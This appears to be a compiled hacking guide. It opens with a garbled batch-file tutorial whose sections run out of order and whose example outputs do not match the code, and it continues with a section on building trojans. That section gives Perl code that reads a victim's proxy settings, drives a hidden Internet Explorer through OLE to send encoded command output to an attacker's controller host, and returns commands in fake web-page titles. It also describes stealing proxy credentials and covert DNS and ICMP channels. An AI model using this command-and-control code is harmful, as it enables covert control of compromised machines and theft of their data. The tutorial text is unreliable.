ECHO: The Batch Printing Tool

The ECHO command is used for what the Print command is in other
programming languages: To Display something on the screen. It can be
used to tell the user what the bath file is currently doing. It is true
that Batch programs display all commands it is executing but sometimes
they are not enough and it is better to also insert ECHO commands
which give a better description of what is presently being done. Say for
example the following batch program which is full of the ECHO
command deletes all files in the c:\windows\temp directory:
ECHO This Batch File deletes all unwanted Temporary files from your
system ECHO Now we go to the Windows\temp directory.
cd windows\temp
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean
Now let's see what happens when we execute the above snippet of batch
code.
C:\WINDOWS>batch_file_name
C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary
files from your
system
C:\WINDOWS>ECHO Now we go to the Windows\temp directory.
Now we go to the Windows\temp directory.
C:\WINDOWS>cd windows\temp
Invalid directory
C:\WINDOWS>ECHO Deleting unwanted temporary files
Deleting unwanted temporary files...
C:\WINDOWS>del *.tmp
C:\WINDOWS>ECHO Your System is Now Clean
Your System is Now Clean
The above is a big mess! The problem is that DOS is displaying the
executed command and also the statement within the ECHO command.
To prevent DOS from displaying the command being executed, simply
precede the batch file with the
following command at the beginning of the file:

Telnet

The only thing to keep in mind while using Remarks is to not go
overboard and putting in too many of them into a single program as they
tend to slow down the execution time of the batch commands.

The REM Command

The most simple basic Batch file command is the REM or the Remark
command. It is used extensively by programmers to insert comments into
their code to make it more readable and understandable. This command
ignores anything there is on that line. Anything on the line after REM is
not even displayed on the screen during execution. It is normally not
used in small easy to understand batch programs but is very useful in
huge snippets of code with geek stuff loaded into it. So if we
add Remarks to out first batch file, it will become:
REM This batch file is my first batch program which launches the fav
hacking
tool; Telnet

Batch File Programming

Batch file programming is nothing but the Windows version of Unix Shell
Programming. Let's start by understanding what happens when we give a
DOS command. DOS is basically a file called command.com
It is this file (command.com) which handles all DOS commands that you
give at the DOS prompt---such as COPY, DIR, DEL etc. These
commands are built in with the Command.com file. (Such commands which
are built in are called internal commands.).DOS has something called
external commands too such as FORMAT,
UNDELETE, BACKUP etc.
So whenever we give a DOS command either internal or external,
command.com either straightaway executes the command (Internal
Commands) or calls an external separate program which executes the
command for it and returns the result (External Commands.)
So why do I need Batch File Programs? Say you need to execute a set
of commands over and over again to perform a routine task like Backing
up Important Files,Deleting temporary files(*.tmp, .bak , ~.* etc)
then it is very difficult to type the same set of commands over and over
again. To perform a bulk set of same commands over and over again,
Batch files are used. Batch Files are to DOS what Macros are to
Microsoft Office and are used to perform an automated predefined set
of tasks over and over again.
So how do I create batch files? To start enjoying using Batch files, you
need to learn to create Batch files. Batch files are basically plain text
files containing DOS commands. So the best editor to write your
commands in would be Notepad or the DOS Editor (EDIT) All you need
to remember is that a batch file should have the extension .BAT(dot
bat)Executing a batch file is quite simple too. For example if you create
a Batch file and save it with the filename
batch.bat then all you need to execute the batch file is to type:
C:\windows>batch.bat
So what happens when you give a Batch file to the command.com to
execute?
Whenever command.com comes across a batch file program, it goes into
batch mode. In the batch mode, it reads the commands from the batch
file line by line. So basically what happens is, command.com opens the
batch file and reads the first line, then it closes the batch file. It then
executes the command and again reopens the batch file and reads the
next line from it. Batch files are treated as Internal DOS commands.
*********************
Hacking Truth: While creating a batch file, one thing that you need to
keep in mind is that the filename of the batch file should not use the
same name as a DOS command. For example, if you create a batch file
by the name dir.bat and then try to execute it at the prompt, nothing
will happen.This is because when command.com comes across a command,
it first checks to see if it is an internal command. If it is not then
command.com checks if it a .COM, .EXE or .BAT file with a matching
filename.All external DOS commands use either a .COM or a .EXE
extension, DOS never bothers to check if the batch program exits.
*********************
Now let's move on to your first Batch file program. We will unlike
always(Normally we begin with the obligatory Hello World program) first
take up a simple batch file which executes or launches a .EXE program.
Simply type the following in a blank text file and save it with a .BAT
extension.
C:
cd windows
telnet
Now let's analyze the code, the first line tells command.com to go to
the C:Next it tells it to change the current directory to Windows. The
last line tells it to launch the telnet client. You may contradict saying
that the full filename is telnet.exe. Yes you are right, but the .exe
extension is automatically added by command.com. Normally we do not
need to change the drive and the directory as the Windows directory is
the default DOS folder. So instead the bath file could simply contain
the below and would still work.
telnet
Now let's execute this batch file and see what results it shows. Launch
command.com (DOS) and execute the batch file by typing:
C:\WINDOWS>batch_file_name
You would get the following result:
C:\WINDOWS>scandisk
And Scandisk is launched. So now the you know the basic functioning of
Batch files, let' move on to Batch file commands.

Trojans (added 2001/09)

If you are reading this guide, you most prolly have heard of Trojans like Back Orifice , NetBus , Sub7 and the likes. And you prolly know that you connect to these Trojans on certain ports (with some you can even spec the port). This is all nice and neat when you are running a Trojan on a host that is not fire walled. Thing is – hosts that are not fire walled is rarely interesting. What you want is a Trojan on the inside of a network – in the core of a network. Let us assume that your victim is sitting on an unrouted network (10,172.16 or 192.168 net), with proxy firewall and a NAT router in front of it. How do you connect to your Trojan?

Well – you don’t. There is just no way that your packet is going to reach a host on the inside of a properly fire walled network – not even if it is an UDP packet on a super high port – just forget it. So the Trojan writers have come up with some interesting ways to “control” their Trojans. The Trojan could possibly connect out from the network, and register itself on an IRC channel. By chatting to the “robot” you can now control the actions of the Trojan. The same is done with ICQ. This is sweet & all, but what do you do when the user (on the internal network) is not allowed to IRC or ICQ (which is the case on many networks)?

Let think about the problem for a bit. You need a way to communicate with the Trojan – you need to send data to it, and receive data from it. Somehow you got to get info from the host, and send data to the host. In a tightly filtered, fire walled network – what goes in and out of the network? Let’s think – a user in such a network – how does the user communicate with the outside world? What applications does the user use? Email for one. Browsing. For sure – most employees can browse the net. Lets concentrate on HTTP for now. Email has some nasty problems.

HTTP is made up of two parts – a request and a reply. The request is made at the client, and the reply is send from the webserver. No matter how complex the setup with proxies, content filters, virus scanners, NAT, firewalling, the browser makes an HTTP request and the server replies with a reply. In between the client and the server a lot can happen. A firewall might check that the request is really a HTTP request and that the response is a valid HTTP reply – but still – data is send and received (inside the HTTP spec). Thus – if the Trojan sends data within a HTTP request and the server sends data in a HTTP reply we got two-way communication.
HTTP is not without problems. The Trojan needs to make the connection to a host. A normal HTTP request could look like this:

GET /data HTTP/1.0
This is fine when not using a proxy. But (as has been shown earlier) if you use a proxy then the request looks like this:

GET http://server.com/data HTTP/1.0
Thus – the Trojan must detect if a proxy is configured – if so – it needs to get the address of the proxy, make the connection to the proxy, and alter the HTTP request so that the proxy knows where to connect to. How do we know if we should use a proxy – well – it’s a setting in the registry. Hereby part of a PERL script that will do just that:

$string="regedit -a c:\\reg.txt “."\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"";
@no=`$string`;
if (open (REG,"c:\\reg.txt")){;
while (<REG>){
if ($_ =~ /ProxyEnable/) {
if ($_ =~ /1/) {$proxy=1;}
}
if ($_ =~ /ProxyServer/){
($duh,$proxystring)=split(/\=/,$_);
$proxystring=~s/\"//g;
($proxyserver,$proxyport)=split(/:/,$proxystring);
chomp $proxyserver; chomp $proxyport;
print STDOUT "[proxyserver = $proxyserver, port = $proxyport]\n";
}
}
}
if ($proxy==1) {
print "We have a proxy\n";
$host=$proxyserver; $port=$proxyport;
} else {
print "No proxy\n";
$host=$myhost; $port=$myport;
}
Another problem with HTTP is encoding – special character have the tendency to get buggered if transmitted without being encoded first. No problem – we just encode the request and the reply in hex. No doubt others will quickly find ways to build basic compressions into this as well – but hereby a PERL script that will encode a string as needed (this only the request – the reply is exactly the same):

$response =~ s/(.)/(sprintf("%%%x",ord($1)))/ge;
$response =~ s/([\n])/(sprintf("%%%x",ord($1)))/ge;
On the other end – the response is decoded:
@hexit=split(/\%/,$data);
foreach $char (@hexit){printf("%c",hex($char));}

So – building a client/server is not that difficult. Lets look at the process:
• Victim executes the Trojan code
• Trojan queries registry to see if there is a proxy configured
• Trojan send a HTTP request (via proxy or direct) to the “controller”, stating that it is “alive”.
• Controller process accepts the HTTP request, prompts the controller for a command.
• Command is entered, encoded, and encoded in a HTTP reply.
• Trojan gets the reply, decodes the command and executes it.
• Trojan gets the output of the command, encodes it, and encodes it into the next HTTP request.
• Process repeats
This tends to work fine…excepts (always) when the proxy is using User Authentication. See, then the request needs to contain User Authentication information, and we no way to know this piece of information. Request without authentication information is simply not passed along to the “server”. So…now what?

We can control the registry. The proxy settings are stored in the registry. How about we change the proxy – just for a while – so it point to a process that is under the control of the Trojan (setting it to localhost)? Clearly the username and password will be passed to us then? And after we have this, we simply point the proxy setting back to the original proxy. This would mean that the first time our Trojan fires up, the user will be prompted for a username and password, but most users do this without thinking about it twice. After this, we have the username and the password, and the requests that the Trojan makes could contain the Authentication information. Neatish, but really not elegant enough.

What if we control the browser? Microsoft has this cool thing called OLE, and it is used to control applications with other external programs (that how apps gets their help files in your browser). An external process can start a browser, surf the net and do just about anything. And it can do it without showing a browser to the user on the screen – it runs in the background. So the idea would be to let the Trojan control the browser, to let the browser surf for example “http://controller/<output of command, encoded>”. But how do we get the command to execute back? See – it would be fine if we can “surf” a page that contains the next command, and save the output of the “webpage” to a file. The file would contain the next command to execute, and the subsequent request would be the output of that command. But the Microsoft guys aren’t that stupid – the only browser function that cannot be controlled with OLE is “Save to disk”. So how do we get the next command? Luckily the browser displays the title of a webpage as the browser window title. And the title can be read with OLE. So – we only need to send the command (encoded) as the title of the reply. Confused? OK – lets do it slowly.
On the client (Trojan) side we start an “invisible browser”:
my $ie = Win32::OLE->new('InternetExplorer.Application');
$ie->{Visible} =0;

After encoding the output (of the previous command) we let the browser surf there with OLE:
$ie->Navigate("http://$host:$port/$response");
In the above case, $host and $port will be that of the “controller” process. We don’t have to worry about proxies and authentication – the browser that we control runs with the properties of other normal browsers.

At the controller side, we get the request, decode it and display it:
#getting the answer from trojan
while (<NS>) {
$getin=$_;
if ($getin =~ /GET/){
#decode it
@hexit=split(/\%/,$getin);
foreach $char (@hexit){
printf("%c",hex($char));
}
goto outofit
}
}
Now – at the controller – we prompt the controller for the new command, encode it, and put it in the title of the returned “webpage”:
#encode command
$command =~ s/(.)/(sprintf("x%x",ord($1)))/ge;
$command =~ s/([\n])/(sprintf("x%x",ord($1)))/ge;
####Build HTTP response
$xtosend=<<EOT
HTTP/1.1 200 OK^M
Server: Microsoft-IIS/4.0^M
Date: Tue, 01 Apr 2000 00:00:00 GMT
Content-Type: text/html
<title\>$command\$\<\/title\>
EOT
;
$xtosend=~s/\n/\r\n/g;
print NS $xtosend;
As can be seen – the encoded response (.the new command) is contained in the title of the page. Nice how we respond like we are an IIS server version 4. Oh, and note the date.
At the Trojan side we now have to extract the title from the “browser” with OLE. With OLE we can even check if the “browser” is finished downloading our reply:
#wait to download complete..
for (;;){
sleep 2;
if ($ie->{Busy} == 0) {last;}
}
#get the new command -its in the location field..
$com=($ie->{LocationName});
And that is that. No worries about proxies or authentication. With this example we used a “command”, but it would work fine for any form of communication. What I am saying is that you could have a Trojan like Subseven using this form of communication. What I explained is just a medium – what you put on top of this is entirely up to you. A note – there is obviously a limit to the amount of data that you transmit with every request/reply. A GET request is limited to 256 bytes of data, and the size of a titlebar is also limited. Normally the data transmitted from the controller to the Trojan is minimal; it’s the data from the Trojan to the client that can get bulky (like watching the webcam’s feed). A way to get past this problem is to use POSTs and not GETs (some firewalls might block POSTs) or to use multiple requests. To make it a reliable communication medium one would prolly have to put checksums and timestamps on the requests and the replies (and remember to compress a bit) – but this is just implementation issues. Another implementation issue is that of caching. If the Trojan requests the same URL (and a caching proxy is used) the cache will reply, and the controller will never get the request. Adding a random number to the request and reply solves this problem. Oh, and you wouldn’t want to code the Trojan in PERL .

Another way to transport data to and from a Trojan is via DNS request and replies. A request to unknown.sensepost.com ends up at the name server for sensepost.com, no matter how. And the name server for Sensepost.com could reply with a CNAME of “notunknown.Sensepost.com”. And that reply gets to whoever made the request. It does not matter how many name servers passed it on. With DNS requests things gets a little hairy – DNS use UDP as transport, and UDP is not very reliable. Checksums, and packet-stamps are not optional. The problem with this method is that clients in tight firewalled network rarely get to do DNS requests. Normally they connect to their proxy, and the proxy does the actual request.

ICMP ping packets can also be used as a transport mechanism. Embedding the request in the “payload” of the ping request packet and getting the response back in embedded in the response ping packet have been shown to work in environments where ping is allowed to enter and leave a network. Again – in tightly fire walled networks ICMP is rarely allowed to enter or leave.
The bottom line – Trojans where you have to connect to the Trojan is ancient. It works in very limited environments. The first thing to alter is to get the Trojan to connect to the controller – the second is to find a communication media that will work even from non-routed networks. HTTP looks as though it could do the thing.